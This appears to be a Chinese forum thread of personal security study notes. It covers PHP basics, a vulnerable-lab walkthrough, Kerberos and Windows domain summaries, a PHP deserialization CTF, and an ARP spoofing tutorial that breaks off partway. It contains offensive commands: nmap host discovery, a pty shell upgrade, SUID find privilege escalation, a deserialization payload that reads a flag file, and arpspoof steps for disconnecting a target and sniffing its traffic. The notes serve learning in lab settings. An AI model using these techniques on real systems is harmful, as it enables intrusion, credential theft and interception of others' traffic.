    自 PHP 4.0.2 起,__FILE__ 总是包含一个绝对路径(如果是符号连接,则是解析后的绝对路径),而在此之前的版本有时会包含一个相对路径。

    实例:

    ```
    <?php echo '该文件位于 " '  . __FILE__ . ' " '; ?>
    ```

    以上实例输出结果为:

    ```
    该文件位于 “ E:\wamp\www\test\index.php ”
    ```

    ------

    ### __DIR____

    文件所在的目录。如果用在被包括文件中,则返回被包括的文件所在的目录。

    它等价于 dirname(__FILE__)。除非是根目录,否则目录中名不包括末尾的斜杠。(PHP 5.3.0中新增)

    实例

    ```
    <?php echo '该文件位于 " '  . __DIR__ . ' " '; ?>
    ```

    以上实例输出结果为:

    ```
    该文件位于 “ E:\wamp\www\test ”
    ```

    ------

    ### __FUNCTION____

    函数名称(PHP 4.3.0 新加)。自 PHP 5 起本常量返回该函数被定义时的名字(区分大小写)。在 PHP 4 中该值总是小写字母的。

    实例

    ```
    <?php function test() {    echo  '函数名为:' . __FUNCTION__ ; } test(); ?>
    ```

    以上实例输出结果为:

    ```
    函数名为:test
    ```

    ------

    ### __CLASS____

    类的名称(PHP 4.3.0 新加)。自 PHP 5 起本常量返回该类被定义时的名字(区分大小写)。

    在 PHP 4 中该值总是小写字母的。类名包括其被声明的作用区域(例如 Foo\Bar)。注意自 PHP 5.4 起 __CLASS__ 对 trait 也起作用。当用在 trait 方法中时,__CLASS__ 是调用 trait 方法的类的名字。

    实例

    ```
    <?php class test {    function _print() {        echo '类名为:'  . __CLASS__ . "<br>";        echo  '函数名为:' . __FUNCTION__ ;    } } $t = new test(); $t->_print(); ?>
    ```

    以上实例输出结果为:

    ```
    类名为:test
    函数名为:_print
    ```

    ------

    ### __TRAIT____

    Trait 的名字(PHP 5.4.0 新加)。自 PHP 5.4.0 起,PHP 实现了代码复用的一个方法,称为 traits。

    Trait 名包括其被声明的作用区域(例如 Foo\Bar)。

    从基类继承的成员被插入的 SayWorld Trait 中的 MyHelloWorld 方法所覆盖。其行为 MyHelloWorld 类中定义的方法一致。优先顺序是当前类中的方法会覆盖 trait 方法,而 trait 方法又覆盖了基类中的方法。

    实例

    ```PHP
    <?php class Base {    public function sayHello() {        echo 'Hello ';    } }  trait SayWorld {    public function sayHello() {        parent::sayHello();        echo 'World!';    } }  class MyHelloWorld extends Base {    use SayWorld; }  $o = new MyHelloWorld(); $o->sayHello(); ?>
    ```

    以上例程会输出:

    ```
    Hello World!
    ```

    ------

    ### __METHOD____

    类的方法名(PHP 5.0.0 新加)。返回该方法被定义时的名字(区分大小写)。

    实例:

    ```
    <?php function test() {    echo  '函数名为:' . __METHOD__ ; } test(); ?>
    ```

    以上实例输出结果为:

    ```
    函数名为:test
    ```

    ------

    ### NAMESPACE__

    当前命名空间的名称(区分大小写)。此常量是在编译时定义的(PHP 5.3.0 新增)。

    实例:

    ```
    <?php namespace MyProject;  echo '命名空间为:"', __NAMESPACE__, '"'; // 输出 "MyProject" ?>
    ```

    以上实例输出结果为:

    ```
    命名空间为:"MyProject"
    ```







    # 数据类型

    data type:在PHP中指的是存储因为PHP是一种弱类型语言,变量本身没有数据类型的数据本身的类型,而不是变量的类型。



    ## 八中数据类型

    分为三大类,八个小类:

    ### 简单(基本)数据类型

    - 整型:int/integer,系统分配4个字节储存,表示整数类型(有前提)
    - 浮点型:float/double,系统分配8个字节储存,表示小数或者整型存不下的整数
    - 字符串型:string,通根据实际长度分配,表述字符串(需要有双引号)
    - 布尔类型:bool/boolean,表示布尔类型,只有TRUE和FALSE



    ### 复合数据类型

    - 对象类型:object,存放对象(面向对象)
    - 数组类型:array,存储多个数据(一次性的)



    ### 特殊数据类型

    - 资源类型:resource,存放资源数据(PHP外部数据,如数据库、文件等)
    - 空类型:NULL,只有一个值,就是NULL(不能运算)





    ## 类型转换

    类型转换:在很多条件下,需要指定的数据类型,需要外部数据(当前PHP取得的数据),转换成目标数据类型。



    在PHP中有两种类型转换方式:

    1. 自动转换:系统根据需求判定,自己转换(用的比较多,但是效率偏低)
    2. 强制(手动)转换:人为根据需要的目标类型转换



    在转化过程中,用的比较多是转布尔类型,以及转数值类型

    ![image-20211201210715570](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211201210715570.png)



    其他类型转数值:

    - 布尔类型中TRUE为1,FALSE为0
    - 字符串转数值:
            1. 以字母开头的字符串,永远为0
            2. 以数字开头的字符串,去碰到字符串为止(不会包含两个小数点)

    回复

    使用道具 举报

    249

    主题

    299

    帖子

    1391

    积分

    金牌会员

    Rank: 6Rank: 6

    积分
    1391
     楼主| 发表于 2021-12-4 22:04:22 | 显示全部楼层
    今天心血来潮做了一下DC靶机的第一个靶机

    至于具体的复现过程就不再写了,网上都很清楚,可以参考:https://blog.csdn.net/weixin_443 ... 1001.2014.3001.5501

    在这里主要是记录一下复现过程中学到的新的知识点:



    首先关于内网主机的探测:

    由于是用的内网搭建的靶机,所以当知道了内网中某一台主机的IP地址后,可以用nmap来探测在这个内网中还存活的其他主机。

    假设已知某台主机的IP地址为a.b.c.d,那么我们可以用nmap的命令:

    ```
    nmap -R a.b.c.0/24
    ```

    来查看在该网段中存活的主机的IP地址以及其开放的端口号

    然后可以用命令:

    ```
    nmap -sV -A IP地址
    ```

    来查看具体的信息(不过我着实是没看懂。。。)

    其他的探测存活主机的方法可以参考:

    https://www.cnblogs.com/Hi-blog/p/How-To-Detect-Alive-Host.html

    https://www.cnblogs.com/xiaozi/p/13722474.html





    然后可以通过页面的某些特征或者指纹扫描来确定页面使用的CMS类型



    知道了CMS类型便可以开始使用msf来进行渗透了(不过一般都没有免杀)



    在msf成功拿到shell之后,我的可能是因为设置的原因,看不懂shell返回的信息,所以为了实现交互式的操作我们可以用如下方法:

    如果目标主机上有Python环境,那么我们可以运行命令:

    ```
    python -c 'import pty; pty.spawn("/bin/bash")'
    ```

    来实现交互式的操作

    至于其他的实现交互式的页面的操作的方法可以参考:https://blog.csdn.net/weixin_44604541/article/details/117554884



    后面我们可以通过查看目标CMS的config文件来查看相关的日志信息(可能可以看到其使用的数据库的相关信息,包括数据库名以及连接数据库的账号和密码)

    可以在网上直接查找对应的CMS的配置文件(config文件)的绝对路径

    如果目标主机是Linux系统,那么就可以用find命令来查找config文件的路径

    在登录上了数据库后,可以通过查看表的信息来寻找登录网页的admin用户的账户和密码。

    而已据说CMS一般都有设置了重置密码的方法,可以直接在对应的CMS的官网上查找相关方法,也可以直接百度





    然后就是Linux的提权了,在这个靶机里用的是suid的提权:

    ```
    suid配置错误提权#

    使用LinEnum收集信息后或者使用如下命令
    find / -perm -u=s -type f 2>/dev/null
    find / -user root -perm -4000-print2>/dev/null
    find / -user root -perm -4000-exec ls -ldb {} ;
    如果有find命令,就可以提权
    原因:在find的后面,是可以带入命令的,而我们要的就是执行其他命令。也就是说,当我们调用find命令时,因为find命令有s权限,所以find在执行时的权限就是root命令,而在find后面的带入的命令也就是在root权限下执行的命令了
    find test -exec '/bin/sh' \ ;(提权失败)这里无配置错误
    ```

    其他的提权方法可以参考:https://www.cnblogs.com/sakura521/p/15191936.html
    回复

    使用道具 举报

    249

    主题

    299

    帖子

    1391

    积分

    金牌会员

    Rank: 6Rank: 6

    积分
    1391
     楼主| 发表于 2022-1-8 17:11:45 | 显示全部楼层
    今天主要是一些关于kerberos协议相关的文章的摘录:

    # 一文读懂Kerberos认证流程               

    https://mp.weixin.qq.com/s?__biz ... 8a1fcbc183d841c4#rd



    ##  **基础概述**

    Kerberos协议只认证,不鉴权,鉴权是服务账户所做。

    在客户端与Application Server访问阶段,用户对Application Server认证是否有权限访问时,不会把PAC整个数据包交给KDC去做权限验证。Application Server仅仅会发送PAC结构中KERB_VERIFY_PAC 信息交给KDC以验证签名,将会发送以下4个字段内容:

    ```
    MessageType ,ChecksumLength,SignatureType,SignatureLength,ChecksumAndSignature
    ```

    一般情况是不会去主动发送以下4个字段去询问KDC。



    KDC在向Kerberos客户端颁发TGT时,会向本地LSA请求生成一个特殊的数据结构,名为“特权访问证书”(Privilege Access Certificate,PAC),简单来说,PAC是一种特殊的认证标识。

    ## Kerberos认证过程

    认证过程中共有8个步骤,其中6,7,8这三个步骤是可选步骤。

    ![图片](https://mmbiz.qpic.cn/mmbiz_png/ ... _lazy=1&wx_co=1)

    Kerberos协议意义在于,需要A 和 B 两个不同的一方可以向对方证明他们知道相同的密钥,而不会将密钥泄露给另一方,同时证明每一方是谁说他们是正确的,后续引入了第三方C。A和B都信任C,所以C可以作为双方的中间人。

    ###  **1.KRB_AS_REQ**

    在这一步中,用户(User)向域控(KDC)中发送如下信息进行验证:

    ```
    User hash(timestamp):用户密码hash加密当前的时间戳
    Username :用户名
    SPN krbtgt :服务账户
    SPNUser Nonce :用户随机数
    ```

    其中User hash(timestamp)是因为默认KDC为每一个认证都开启了Pre-Authentication,使用当前时间戳和用户Hash加密,以防任何人都过来请求TGT。



    ###  **2.KRB_AS_REP**

    KDC对User发送过来是信息进行解密并验证,验证通过后给用户发送两个信息:

    > 一个使用当前User用户的hash加密的基础信息,此信息包含了一个Session key,用户随机数,以及TGT过期时间。
    >
    > 另外一个是TGT票据,整个TGT都是用krbtgt hash进行加密。其他人无法解密TGT,仅仅KDC自己。其中包含了用户名,Session key,TGT过期时间,以及PAC特权。

    其中,krbtgt hash中包括Username、session key、TGT expiration time、PAC。

    user hash中包括session key、TGT expiration time、user nonce

    ![图片](https://mmbiz.qpic.cn/mmbiz_png/ ... _lazy=1&wx_co=1)

    PAC除了包含用户,RID,用户信息,密码情况,登录时间等基础之外,还有两个签名KDC签名和服务签名。

    ```
    PAC签名:
    KDC签名:
    使用DC的krbtgt 签名服务签名:谁提供服务谁就是自己的服务hash签名(这里跟AS认证,所以服务是krbtgt)
    ```

    当前User请求的服务对象是都是KDC,则两个签名都是有krbtgt签发。但加密算法不同。

    ### 3、 **KRB_TGS_REQ**

    用户接收到KDC发来的两个加密的信息后,用户可以自行解密得出user hash中的内容,包括 Session key,TGT 过期时间,用户随机数。但是TGT中的内容 用户没有办法解密,因为他没有krbtgt的密钥。

    用户解开数据包确认TGT过期时间以及随机数等信息正常后,想要去访问某一个服务(在域环境中,某个服务需要以Kerberos身份进行认证,需要注册一个SPN)需要指定该服务SPN,这一次请求需要指定SPN,用户随机数,TGT(用krbtgt加密),以及使用Session key加密的用户名以及时间戳。

    ### 4、 **KRB_TGS_REP**



    KDC收到User信息之后使用Session key解密出用户名与时间戳确认了身份。



    > 1.把上述请求中的SPN字段SPN账户以及该服务账户所对应的Hash找出来并对相关内容进行加密形成一个TGS。
    >
    > 注意:TGS中包含了一个新的Service Session key,整个TGS是使用服务账户Hash进行加密。
    >
    >
    >
    > 2.KDC使用User与KDC之间前面使用过的Session key继续加密一部分内容,用户随机数,TGT过期时间,Service Session key等相关内容
    >
    > 将第一步与第二步一起发送给User。其中Service owner hash加密的TGS 用户无法打开,仅应用服务本身可以打开。
    >
    > 3.TGS中包含的PAC签名有所变动,还是使用两个签名,一个签名为krbtgt签名,另外一个使用服务签名,这里服务签名也就是SPN指定的服务hash。

    ```
    NEW PAC签名
    KDC签名:使用DC的krbtgt 签名
    服务签名:Service hash 签名
    ```

    ### **5、KRB_AP-REQ**

    User收到信息后,使用自己前面与KDC通讯用的Session key解密出用户随机数,TGS过期时间以及Service Session key之后。将TGS原封不动的发送给Application Server(AP)

    User将使用Session key解密出Service Session key之后再使用Service Session key加密自己的用户名以及时间戳发送给AP。

    AP收到后,使用自己的服务hash解密出TGS中的内容,PAC,username ,TGT过期时间,Service session key等内容。随之把解开Service session  key解密上述用户的username以及timestamp(时间戳),同时验证PAC中签名是否被篡改。

    与此同时AP(application server)会把PAC缓存到本地操作系统中,解析PAC中的信息然后对比ALC来决定用户是否可以访问某些资源,同时也方便下一次该此用户来访问服务时,重新请求TGT。

    ![图片](https://mmbiz.qpic.cn/mmbiz_png/ ... _lazy=1&wx_co=1)





    到这一步基本认证就完成了。后续动作都是可选的。



    ## 资料补充(后续认证过程:6/7/8)

    ### 6、KERB_VERIFY_PAC

    AP(application server)是不会主动把PAC整个数据包发送给KDC做认证,如果有场景需要仅仅也会发送PAC中的签名,也就是KERB_VERIFY_PAC 结构字段。如下图所示

    ![img]()

    ![img](http://data:image/gif;base64,R0lGODlhAQABAPABAP///wAAACH5BAEKAAAALAAAAAABAAEAAAICRAEAOw==)

    ![img]()

    ![img](http://data:image/gif;base64,R0lGODlhAQABAPABAP///wAAACH5BAEKAAAALAAAAAABAAEAAAICRAEAOw==)

    > 1. Tips1:User在与AS第一次认证的时候有效票据只有5分钟有效,防止爆破。
    > 2. 所以活动目录中的机器时间需要与域控制器同步。
    > 3. 这也是使用net time /do命令定位域控制器的一个手段。



    ### 7、PAC verify reponse



    ### 8、KRB_AP_REP

    **Kerberos application server response (optional) (KRB_AP_REP)**

    在Server端收到Client端发送过来的由Service Key加密的Service  Ticket(MessageF)和由Client/Server Session  Key加密的Authenticator(MessageG)以后,首先使用自身的Service Key解密Service  Ticket,得到用户验证信息(User Credential)以及在TGS上与之一起打包的Client/Server Session  Key。我们使用这个Client/Server Session  Key解密Authenticator,如果Authenticator通过,那么向客户端发送一个由Client/Server Session  Key加密的mutual authentication information给客户端。客户端在收到Server端发送过来的Mutual  Authentication Information以后,用Client/Server Session  Key解密,对比之前发送给Server的Authenticator,如果timestamp是正确的,那么证明这个连接是真实可信,到此连接建立



    # kerberos协议从0到1

    https://blog.csdn.net/qq_38154820/article/details/120735584

    ### **概念**

    ![34a253ea253a64f71c803d983836ed0d.png]()   

    ![165183d9baff59454f5c86d8273cbf81.png]()

    kerberos协议认证过程:

    1. AS-REP:客户端向KDC的AS认证服务请求TGT认购权证
    2. AS-REP:身份认证通过后,KDC发放TGT认购权证
    3. TGS-REP:客户端用TGT行KDC的TGS服务请求ST服务票据
    4. TGS-REP:身份认证通过后,KDC发放ST服务票据
    5. AP-REP:客户端用ST服务票据想服务端请求服务
    6. 服务端向KDC验证PAC是否有权限访问
    7. KDC将用户的权限发送给服务端
    8. AP-REP:服务端根据KDC返回的用户的权限信息进行对比,判断用户是否拥有权限来访问该服务,并将结果返回给客户端





    ​   

    ![e513c8d32a32d285dc28d9084f06d5d8.png]()





    # kerberos协议详解及攻击利用(上)

    http://cn-sec.com/archives/138107.html

    Kerberos 是一种由 MIT(麻省理工大学)提出的一种网络身份验证协议。**它旨在通过使用密钥加密技术为客户端/服务器应用程序提供强身份验证。**

    ## Kerberos 协议框架

    在 Kerberos 协议中主要是有三个角色的存在:

    1. 访问服务的 Client;
    2. 提供服务的 Server;
    3. KDC(Key Distribution Center)密钥分发中心





    **需要注意以下几点:**

    - 从物理层面看,AD与KDC均安装在域控(DC)上
    - AD其实是一个类似于本机SAM的一个数据库,全程叫做account database,存储了client的白名单和所有域内用户密码的Hash,只有存在于白名单上的client才能申请到TGT
    - KDC 服务框架中包含一个 KRBTGT 账户,它是在创建域控时系统自动创建的一个账号,该账号无法登陆,但是发放票据时会使用到他的密码的Hash值



    ## Kerberos验证流程

    kerberos认证的粗略流程为:

    > 1. client先向AS请求TGT
    >
    > 2. 通过核验后,AS返回TGT
    >
    > 3. client用TGT去请求TGS
    >
    > 4. 使用ST访问其他服务
    >
    >   



    有了直观理解后,我们看详细的Kerberos认证流程:

    当 Client 想要访问 Server 上的某个服务时,需要先向 AS 证明自己的身份,然后通过 AS 发放的 TGT 向 Server 发起认证请求,这个过程分为三块:



    ### Client 与 AS 的交互

    当用户登录域主机Windows系统时,本机的Kerberos服务会使用用用户的输入(用户名和密码)构造AS-REQ(Authentication Server  Request)请求发送至KDC(准确来说是AS).该请求中包含:请求的用户名、客户端主机名、加密类型和Authenticator(是一个用用户NTLM Hash加密的时间戳)以及一些其他信息.



    AS随后在AD中寻找用户是否在白名单,如果在白名单,则根据用户名从AD中提取对应的NTLM Hash来解密KRB_AS_REP,确认时间戳是否在允许范围内,随后生成一个随机数session  Key,随后返回一个KRB_AS_REP(应答),KRB_AS_REP中包括两个部分:



    - session key-as数据:用client的NTLM Hash加密session Key
    - TGT:由 KRBTGT HASH 加密的 session key 和 TimeStamp 等信息

    ### Client 与 TGS 的交互

    Client接收到加密后的Session key-as和TGT之后,先用自身密码的Hash解密得到session  key,TGT是由KDC中KRBTGT的HASH加密的,所以client无法解密.这时client用session  key加密时间戳,再和TGT一起发送给KDC中的TGS换取针对某个服务主体(service  principal)的服务票据(ST)(走的是KRB_TGS_REQ请求),服务主体由SPN(service principal  name,服务主体名称)来表示。

    Windows中有许多SPN,大家可以访问此处了解大部分SPN。为了访问实际主机,这里客户端需要请求`HOST` SPN。`HOST`主体中包含Windows的所有内置服务。

    TGS在收到Client 发送过来的 TGT 和 Session key 加密的 TimeStamp 之后,首先会检查自身是否存在 Client 所请求的服务。如果服务存在,则用 KRBTGT的HASH解密 TGT。![kerberos协议详解及攻击利用

    **一般情况下,TGS会检查TGT中的时间戳查看TGT是否过期,且原始地址是否和TGT中保存的地址相同.**

    验证成功后将返回客户端两个东西:

    - 由session key加密的session key-tgs
    - client要访问的Server密码Hash(多数情况下是目标服务帐户的NTLM密码hash)加密的seesion key-tgs及其他信息

    这两部分和在一起通过KRB_TGS_REP返回给client

    TGS中包含PAC(Privileged Attribute Certificate,特权属性证书),而PAC中包含域用户及其成员身份的相关信息,如下图所示。

    ### Client 与 Server 的交互

    client收到session key 加密生成的 session key-tgs 和 Server 密码 HASH 加密 session key-tgs生成的TGS  之后,用 session key 解密得到 session key-tgs,然后把 sessionkey-tgs 加密的  TimeStamp(Authenticator3)和 ST(也就是TGS)一起发送给 Server。



    server 通过自己的密码解密 ST,得到 sessionkey-tgs, 再用 sessionkey-tgs 解密 Authenticator3 得到 TimeStamp,并查看TGS中的PAC来判断其中是否存在匹配的组SID,以便确定访问权限。

    服务票据中比较特别的一点在于,KDC负责身份认证(TGT),而服务负责授权(TGS中的PAC)。确认权限后,用户就可以访问`HOST`服务主体,登录计算机。

    我们可以使用Wireshark捕捉用户登录过程,查看整个登录流程 ![kerberos协议详解及攻击利用(C:\Users\75986\Desktop\学习\读书笔记\技术文献\1-1600512964.png)]()





    # 单点登录cas常见问题(十三) - 几个重要概念怎么理解?

    https://blog.csdn.net/matthewei6/article/details/50769670



    1、TGC:Ticket-granting cookie,存放用户身份认证凭证的cookie,在浏览器和CAS Server间通讯时使用,是CAS Server用来明确用户身份的凭证。TGT封装了TGC值以及此Cookie值对应的用户信息。
    2、TGT:ticket granting ticket,TGT对象的ID就是TGC的值,在服务器端,通过TGC查询TGT。
    3、ST:service ticket,CAS为用户签发的访问某一service的票据,ST是TGT签发的。
    4、PGT:proxy granting ticket,代理模式下的TGT
    5、PT:proxy ticket,代理模式下的ST
    6、service:在cas系统中,接入的各个子系统叫服务。因为对普通用户来说,每一个接入到cas认证中心的子系统都提供特定的服务比如商城、bbs等,大家都听过软件即服务,平台即服务,这样理解service就通顺了
            SaaS:Software-as-a-Service,软件即服务
            PaaS:Platform as a Service,平台即服务
    7、credentials,凭证,即待认证的用户的信息载体,如用户名+密码
    8、Principal,当事人,即认证之后返回的已认证的当事人的信息载体,默认只返回用户ID即用户名。
    9、Authentication表示一个完成的认证请求,当然,结果可能是凭证有效或无效,他有一个method可以获取Principal
    回复

    使用道具 举报

    249

    主题

    299

    帖子

    1391

    积分

    金牌会员

    Rank: 6Rank: 6

    积分
    1391
     楼主| 发表于 2022-1-10 07:14:54 | 显示全部楼层
    补一下昨天的:
    看了几篇和域有关的文章:

    # windows NT 的四种域模型是啥?

    https://zhidao.baidu.com/question/394926814.html



    (1)单域模型适合于最小的安装。在不需要把组织按组织和管理目的分割时,采用这种模型。这种模型没有信任需要被管理。
    (2)主控域模型把域分割为帐户域和资源域,或更多的域。用户登录到帐户域,但是访问资源域中的资源(如,打印机)。系统管理员可以自己作主:一个系统管理员在帐户域内新建帐户,而另外一个系统管理员分配对另外个域中资源的访问。域可以是地理位置上互相隔绝的(但不是一定要如此)。
    (3)多主控域模型有两种方法连接每个帐户域。信任建立之后,用户可以访问任何被正确分配的资源域。这个模型能够处理数以千计的用户。
    (4)完全信任模型是真的被修改后的单域模型。每个域得以保持自己的必要性。Windows NT有两种类型的域控制器:主域控制器和备份域控制器(BDC)。每个域控制器都要存储叫作安全帐户管理器(SAM)的用户数据库备份。在Windows NT中,SAM的可读备份是存储在每个备份域控制器中的,但是唯一的可读/写备份存储在主域制器中。每当对域进行了修改(即是说,添加或删除了用户)时,这种修改首先写入域的PDC ,然后按设置的时间间隔由PDC升级每个BDC。  





    # 域模型介绍

    https://blog.csdn.net/weixin_344 ... 1018.2226.3001.4187



    1、单域模型

    2、多域模型

    3、单森林中的多树模型

    4、联合森林设计模型

    5、同位体根peer-root模型

    6、占位符域模型

    7、专用域模型





    # 域模型

    (软件开发领域,并不是Windows的域模型)

    https://blog.csdn.net/chz_cslg/article/details/23958033

    ## 1、域模型的定义

    在软件开发领域,模型用来表示真实世界的实体。在 软件开发的不同阶段,需要为目标系统创建不同类型的模型。在 软件设计阶段,需要创建域模型。在软件设计的各个阶段都要使用到域模型。
    域模型模式的作者 Martin Fowler 给出了以下定义(Fowler,2003 年): 融合了行为和数据的域的对象模型。
    域模型是 面向对象的。

    ## 2、域对象

    构成域模型的基本元素就是域对象。域对象,即Domain Object,是对真实世界的实体的软件抽象。域对象还可以叫做 业务对象,即Business Object 。

    ## 3、域对象的分类

    实体域对象
    实体域对象可以代表人、地点、事物或概念。
    过程域对象
    过程域对象代表应用中的业务逻辑活流程。
    事件域对象
    事件域对象代表应用中的一些事件。

    ## 4、域对象之间的关系

    关联
    关联指的是类之间的引用关系,这是实体 域对象之间最普遍的一种关系。关联可以分为一对一、一对多和多对多关联。
    依赖
    依赖指的是类之间的访问关系。
    聚集
    聚集指的是整体与部分之间的关系。
    泛化(也称一般化)
    泛化指的是类之间的继承关系。

    ## 5、域模型的分类

    贫血域模型
    只是简单的数据载体,没有任何业务。
    充血域模型
    除数据外还有与持久化(和事务逻辑)无关的业务实现 。



    ---



    (搭建域环境可参考)

    # 搭建一个简单的Windows域环境

    https://blog.csdn.net/qq_28205153/article/details/113827476



    # Windows环境下搭建域环境

    https://blog.csdn.net/wwl012345/article/details/88934571



    # 域环境搭建

    https://www.cnblogs.com/leixiao-/p/10579208.html



    # 域环境的基本

    https://blog.csdn.net/qq_42024821/article/details/110633147







    回复

    使用道具 举报

    249

    主题

    299

    帖子

    1391

    积分

    金牌会员

    Rank: 6Rank: 6

    积分
    1391
     楼主| 发表于 2022-1-10 20:13:05 | 显示全部楼层
    # PHP反序列化入门简述及CTF小实例

    https://mp.weixin.qq.com/s?__biz ... 8a1fcbc183d841c4#rd



    ![img](C:\Users\75986\Desktop\学习\读书笔记\技术文献\ea426bd56a73dd99bb4a96ca76d42d60.png)



    ```
    __construct()//创建对象时触发
    __destruct() //在到某个对象的所有引用都被删除或者当对象被显式销毁时触发
    __call() //在对象上下文中调用不可访问的方法时触发
    __callStatic() //在静态上下文中调用不可访问的方法时触发
    __get() //用于从不可访问的属性读取数据
    __set() //用于将数据写入不可访问的属性
    __isset() //在不可访问的属性上调用 isset()或 empty()触发
    __unset() //在不可访问的属性上使用 unset()时触发
    __invoke() //当脚本尝试将对象调用为函数时触发
    ```



    >
    >
    > 在PHP中:==只比较值是否相等,比如‘1’==1是相等的,=是赋值,比如:
    >
    > $a=2;$a=$q;这时你无论echo $a还是echo $q都会输出2,还有全等===,这是比较类型和值的,例如:1===1是相等的,这样是不等的:"1"===1



    强类型比较(===):比较值和类型

    弱类型比较(==):比较值





    构造序列化语句的方法(有类):

    ![img](C:\Users\75986\Desktop\学习\读书笔记\技术文献\e85f79ee1cac43a1f53009580b35f54d.png)







    # WEB漏洞-反序列化之PHP&JAVA全解(上)               

    https://www.cnblogs.com/zhengna/p/15661109.html

    ```
    <?php

    include("flag.php");

    highlight_file(__FILE__);

    class FileHandler {

        protected $op;
        protected $filename;
        protected $content;

        function __construct() {
            $op = "1";
            $filename = "/tmp/tmpfile";
            $content = "Hello World!";
            $this->process();
        }

        public function process() {
            if($this->op == "1") {
                $this->write();
            } else if($this->op == "2") {  //弱类型判断,仅判断数值,op 赋值数字2或字符串' 2'也成立
                $res = $this->read();
                $this->output($res);
            } else {
                $this->output("Bad Hacker!");
            }
        }

        private function write() {
            if(isset($this->filename) && isset($this->content)) {
                if(strlen((string)$this->content) > 100) {
                    $this->output("Too long!");
                    die();
                }
                $res = file_put_contents($this->filename, $this->content);
                if($res) $this->output("Successful!");
                else $this->output("Failed!");
            } else {
                $this->output("Failed!");
            }
        }

        private function read() {
            $res = "";
            if(isset($this->filename)) {
                $res = file_get_contents($this->filename);
            }
            return $res;
        }

        private function output($s) {
            echo "[Result]: <br>";
            echo $s;
        }

        function __destruct() { //析构函数,销毁类时执行,也就是在最后执行
            if($this->op === "2")  //强类型比较,判断数值+类型,可以使用数字2或字符串' 2'绕过判断
                $this->op = "1";
            $this->content = "";
            $this->process();
        }

    }

    function is_valid($s) {
        for($i = 0; $i < strlen($s); $i++)
            if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
                return false;
        return true;
    }

    if(isset($_GET{'str'})) {

        $str = (string)$_GET['str'];
        if(is_valid($str)) {
            $obj = unserialize($str); //反序列化,所以要先序列化。
        }

    }
    ```

    payload:

    ```
    <?php
    class FileHandler{
      public $op=' 2';//源码告诉我们op为1时执行写入,op为2时执行读取
      public $filename="flag.php";//文件开头调用的是flag.php
      public $content="xd";
    }
    $flag = new FileHandler();
    $flag_1 = serialize($flag);
    echo $flag_1;
    ?>
    ```

    ![img](C:\Users\75986\Desktop\学习\读书笔记\技术文献\2bd852a0caef6313a434828f6b3ce323.png)





    # 实战 | 记某次值守中对攻击IP的溯源分析               

    **https://forum.butian.net/share/1050**



    奇安信威胁研判分析平台 :可以查找某IP地址的攻击行为的动态并对其危险程度进行评分

    (这个平台似乎是付费的)

    (但是不明白为啥要搞事情了还不用代理池。。。)



    大数据检索库 :感觉是类似于社工库一类的数据库

    (感觉确实好用。但是找不到这个资源,应该是私人的或者国家的。。。)







    # 综合扫描工具 -- 雪影

    > 原文作者: **zlb123**
    >
    > 原文地址:https://www.anquanke.com/post/id/259245



    雪影,一款用JAVA写的桌面软件,集成了诸多实用功能,比如:域名查IP地址,端口扫描,C段存活扫描,WebShell,Web目录扫描,远程控制等。



    后期会上线更多实用功能,比如弱口令暴破,子域名暴破,POC/EXP等,尽请期待。



    下载地址: https://github.com/jinsezlb/SnowShadow





    # Kali渗透-ARP断网攻击与监听

    http://aaqv.net/240da



    如何借助Kali Linux系统内置的 nmap、arpspoof、driftnet、ettercap 等渗透测试工具对局域网内(同WIFI下)同一网段的PC主机、手机进行 ARP 欺骗 和 流量监听,实现对目标主机/手机的 **断网攻击、图片窃取、密码监听** 等攻击目的。



    ## ARP攻击原理

    ### 1、ARP协议

    ARP(Address Resolution Protocol)即地址解析协议,是根据IP地址获取物理地址的一个TCP/IP协议。主机发送信息时将包含目标IP地址的ARP请求广播到局域网络上的所有主机,并接收返回消息,以此确定目标的物理地址;**收到返回消息后将该IP地址和物理地址存入本机ARP缓存中并保留一定时间,下次请求时直接查询ARP缓存以节约资源。**



    ### 2、ARP欺骗

    地址解析协议是建立在网络中各个主机互相信任的基础上的,局域网络上的主机可以自主发送ARP应答消息,其他主机收到应答报文时不会检测该报文的真实性就会将其记入本机ARP缓存;**由此攻击者就可以向某一主机发送伪ARP应答报文,使其发送的信息无法到达预期的主机或到达错误的主机**,这就构成了一个ARP欺骗。





    **由于ARP缓存表不是实时更新的**,如果在网络中产生大量的ARP通信量,攻击者只要持续不断的发出伪造的ARP响应包就能更改目标主机ARP缓存中的IP-MAC条目,造成网络中断或中间人攻击。

    下面的演示实验将使用网关型欺骗的ARP欺骗攻击,通过欺骗受害PC主机/手机,将局域网的网关地址设置为Kali主机的IP地址, **使目标主机认为攻击者的网卡是网关,从而将数据包都发给攻击者的网卡**,如果攻击者直接将数据包丢弃(不开启转发),即是断网攻击。如果攻击者的网卡再开启转发,将数据包传到真正网关,则可实现受害主机不断网。



    ## 断网攻击

    1. 先在kali中查询本地IP地址以及网关地址:

       ```
       ipconfig                (IP地址:inet)                                假设结果为:192.168.0.198
       route -n                (网关地址:gateway)                        假设结果为:192.168.0.1
       ```

    2.  使用[Nmap](https://so.csdn.net/so/search?q=Nmap)扫描局域网中存活的主机的信息(也可以使用 Kali 内置的 Nmap 图形化界面软件 **Zenmap** 扫描,结果是一样的):

       ```
       namp -sP 192.168.0.0/24
       ```

        ![在这里插入图片描述](C:\Users\75986\Desktop\学习\读书笔记\技术文献\20200229112804792.png)

    3.  用 **Zenamp** 做下全面扫描,发现**华为手机还是无法扫描**到IP地址,但 IPhone 和 魅族手机可以扫描到

       用这种方式来查看各个IP地址对应的主机型号(手机型号以及电脑型号)

    4.  在Kali终端执行 **arpspoof** 命令:

       ```
       `arpspoof -i eth0 -t 192.168.0.106(目标IP) 192.168.0.1(网关IP)`
       ```

       开始进行 ARP 断网攻击,攻击目标为 Win 10 物理主机

    5.  在 Kali 的终端中按下键盘 `Ctrl+Z` 组合键中断欺骗,目标机就可以恢复正常访问互联网了

       ( 华为手机在 `Nmap` 中扫描不出其 IP 地址、ARP欺骗也没法实现彻底的断网 )

    ## 图片窃取

    1.  编辑 Kali Linux 虚拟机

       ```
       /etc/sysctl.conf
       ```

        配置文件,将

       ```
       net.ipv4.ip_forward
       ```

       配置项取消掉“`#`”注释符号,并将其值由 0 改为 1 即可开启端口转发

    2. 接着在 Kali 终端重新执行 arpspoof 命令(注意网关IP和主机IP顺序此时需要对换一下):

       ```
       arpspoof -i en0 -t 192.168.0.1(网关IP) 192.168.0.106(目标IP)
       ```

